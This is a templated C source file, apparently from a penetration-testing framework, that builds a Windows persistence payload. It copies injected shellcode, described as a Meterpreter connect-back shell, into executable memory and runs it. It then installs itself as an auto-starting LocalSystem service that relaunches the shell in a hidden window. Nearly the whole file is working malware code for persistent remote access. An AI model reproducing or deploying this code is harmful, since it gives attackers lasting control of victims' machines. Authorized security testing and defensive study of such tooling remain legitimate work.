305 lines
6.7 KiB
Plaintext
305 lines
6.7 KiB
Plaintext
#include <String.h>
|
|
#include <Windows.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
|
|
#define SERVICE_NAME <%= @service_name.inspect %>
|
|
#define DISPLAY_NAME <%= @service_description.inspect %>
|
|
#define RETRY_TIME <%= @retry_time %>
|
|
|
|
//
|
|
// Globals
|
|
//
|
|
|
|
SERVICE_STATUS status;
|
|
SERVICE_STATUS_HANDLE hStatus;
|
|
|
|
//
|
|
// Meterpreter connect back to host
|
|
//
|
|
|
|
void start_meterpreter()
|
|
{
|
|
// Your meterpreter shell here
|
|
<%= buf %>
|
|
|
|
LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
memcpy(buffer,buf,sizeof(buf));
|
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
|
|
WaitForSingleObject(hThread, -1); //INFINITE
|
|
CloseHandle(hThread);
|
|
}
|
|
|
|
//
|
|
// Call self without parameter to start meterpreter
|
|
//
|
|
|
|
void self_call()
|
|
{
|
|
char path[MAX_PATH];
|
|
char cmd[MAX_PATH];
|
|
|
|
if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
|
|
// Get module file name failed
|
|
return;
|
|
}
|
|
|
|
STARTUPINFO startup_info;
|
|
PROCESS_INFORMATION process_information;
|
|
|
|
ZeroMemory(&startup_info, sizeof(startup_info));
|
|
startup_info.cb = sizeof(startup_info);
|
|
|
|
ZeroMemory(&process_information, sizeof(process_information));
|
|
|
|
// If create process failed.
|
|
// CREATE_NO_WINDOW = 0x08000000
|
|
if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
|
|
NULL, &startup_info, &process_information) == 0)
|
|
{
|
|
return;
|
|
}
|
|
|
|
// Wait until the process died.
|
|
WaitForSingleObject(process_information.hProcess, -1);
|
|
}
|
|
|
|
//
|
|
// Process control requests from the Service Control Manager
|
|
//
|
|
|
|
VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
|
|
{
|
|
switch (fdwControl) {
|
|
case SERVICE_CONTROL_STOP:
|
|
case SERVICE_CONTROL_SHUTDOWN:
|
|
status.dwWin32ExitCode = 0;
|
|
status.dwCurrentState = SERVICE_STOPPED;
|
|
break;
|
|
|
|
case SERVICE_CONTROL_PAUSE:
|
|
status.dwWin32ExitCode = 0;
|
|
status.dwCurrentState = SERVICE_PAUSED;
|
|
break;
|
|
|
|
case SERVICE_CONTROL_CONTINUE:
|
|
status.dwWin32ExitCode = 0;
|
|
status.dwCurrentState = SERVICE_RUNNING;
|
|
break;
|
|
|
|
default:
|
|
break;
|
|
}
|
|
|
|
if (SetServiceStatus(hStatus, &status) == 0) {
|
|
//printf("Cannot set service status (0x%08x)", GetLastError());
|
|
exit(1);
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
|
|
//
|
|
// Main function of service
|
|
//
|
|
|
|
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
|
|
{
|
|
// Register the service handler
|
|
|
|
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
|
|
|
|
if (hStatus == 0) {
|
|
//printf("Cannot register service handler (0x%08x)", GetLastError());
|
|
exit(1);
|
|
}
|
|
|
|
// Initialize the service status structure
|
|
|
|
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
|
|
status.dwCurrentState = SERVICE_RUNNING;
|
|
status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
|
status.dwWin32ExitCode = 0;
|
|
status.dwServiceSpecificExitCode = 0;
|
|
status.dwCheckPoint = 0;
|
|
status.dwWaitHint = 0;
|
|
|
|
if (SetServiceStatus(hStatus, &status) == 0) {
|
|
//printf("Cannot set service status (0x%08x)", GetLastError());
|
|
return;
|
|
}
|
|
|
|
// Start the Meterpreter
|
|
while (status.dwCurrentState == SERVICE_RUNNING) {
|
|
self_call();
|
|
Sleep(RETRY_TIME);
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
|
|
//
|
|
// Installs and starts the Meterpreter service
|
|
//
|
|
|
|
BOOL install_service()
|
|
{
|
|
SC_HANDLE hSCManager;
|
|
SC_HANDLE hService;
|
|
|
|
char path[MAX_PATH];
|
|
|
|
// Get the current module name
|
|
|
|
if (!GetModuleFileName(NULL, path, MAX_PATH)) {
|
|
//printf("Cannot get module name (0x%08x)", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
// Build the service command line
|
|
|
|
|
|
char cmd[MAX_PATH];
|
|
|
|
int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
|
|
if (total_len < 0 || total_len >= sizeof(cmd)){
|
|
//printf("Cannot build service command line (0x%08x)", -1);
|
|
return FALSE;
|
|
}
|
|
|
|
cmd[0] = '\0';
|
|
strcat(cmd, "\"");
|
|
strcat(cmd, path);
|
|
strcat(cmd, "\" <%= @start_cmd %>");
|
|
|
|
// Open the service manager
|
|
|
|
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
|
|
|
if (hSCManager == NULL) {
|
|
//printf("Cannot open service manager (0x%08x)", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
// Create the service
|
|
|
|
hService = CreateService(
|
|
hSCManager,
|
|
SERVICE_NAME,
|
|
DISPLAY_NAME,
|
|
0xf01ff, // SERVICE_ALL_ACCESS
|
|
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
|
|
SERVICE_AUTO_START,
|
|
SERVICE_ERROR_NORMAL,
|
|
cmd,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL, /* LocalSystem account */
|
|
NULL
|
|
);
|
|
|
|
if (hService == NULL) {
|
|
//printf("Cannot create service (0x%08x)", GetLastError());
|
|
|
|
CloseServiceHandle(hSCManager);
|
|
return FALSE;
|
|
}
|
|
|
|
// Start the service
|
|
|
|
char* args[] = { path, "service" };
|
|
|
|
if (StartService(hService, 2, (const char**)&args) == 0) {
|
|
DWORD err = GetLastError();
|
|
|
|
if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
|
|
{
|
|
//printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
|
|
|
|
CloseServiceHandle(hService);
|
|
CloseServiceHandle(hSCManager);
|
|
return FALSE;
|
|
}
|
|
}
|
|
|
|
// Cleanup
|
|
|
|
CloseServiceHandle(hService);
|
|
CloseServiceHandle(hSCManager);
|
|
|
|
//printf("Service %s successfully installed.", SERVICE_NAME);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
//
|
|
// Start the service
|
|
//
|
|
|
|
void start_service()
|
|
{
|
|
SERVICE_TABLE_ENTRY ServiceTable[] =
|
|
{
|
|
{ SERVICE_NAME, &ServiceMain },
|
|
{ NULL, NULL }
|
|
};
|
|
|
|
if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
|
|
//printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
|
|
exit(1);
|
|
}
|
|
}
|
|
|
|
|
|
//
|
|
// Main function
|
|
//
|
|
|
|
int main()
|
|
{
|
|
// Parse the command line argument.
|
|
// For now, int main(int argc, char *argv) is buggy with metasm.
|
|
// So we choose this approach to achieve it.
|
|
LPTSTR cmdline;
|
|
cmdline = GetCommandLine();
|
|
|
|
char *argv[MAX_PATH];
|
|
char * ch = strtok(cmdline," ");
|
|
int argc = 0;
|
|
|
|
while (ch != NULL)
|
|
{
|
|
argv[argc] = malloc( strlen(ch)+1) ;
|
|
strncpy(argv[argc], ch, strlen(ch)+1);
|
|
|
|
ch = strtok (NULL, " ");
|
|
argc++;
|
|
}
|
|
|
|
if (argc > 1) {
|
|
|
|
if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {
|
|
|
|
// Installs and starts the service
|
|
|
|
install_service();
|
|
return 0;
|
|
}
|
|
else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
|
|
// Starts the Meterpreter as a service
|
|
|
|
start_service();
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
// Starts the Meterpreter as a normal application
|
|
|
|
start_meterpreter();
|
|
|
|
return 0;
|
|
}
|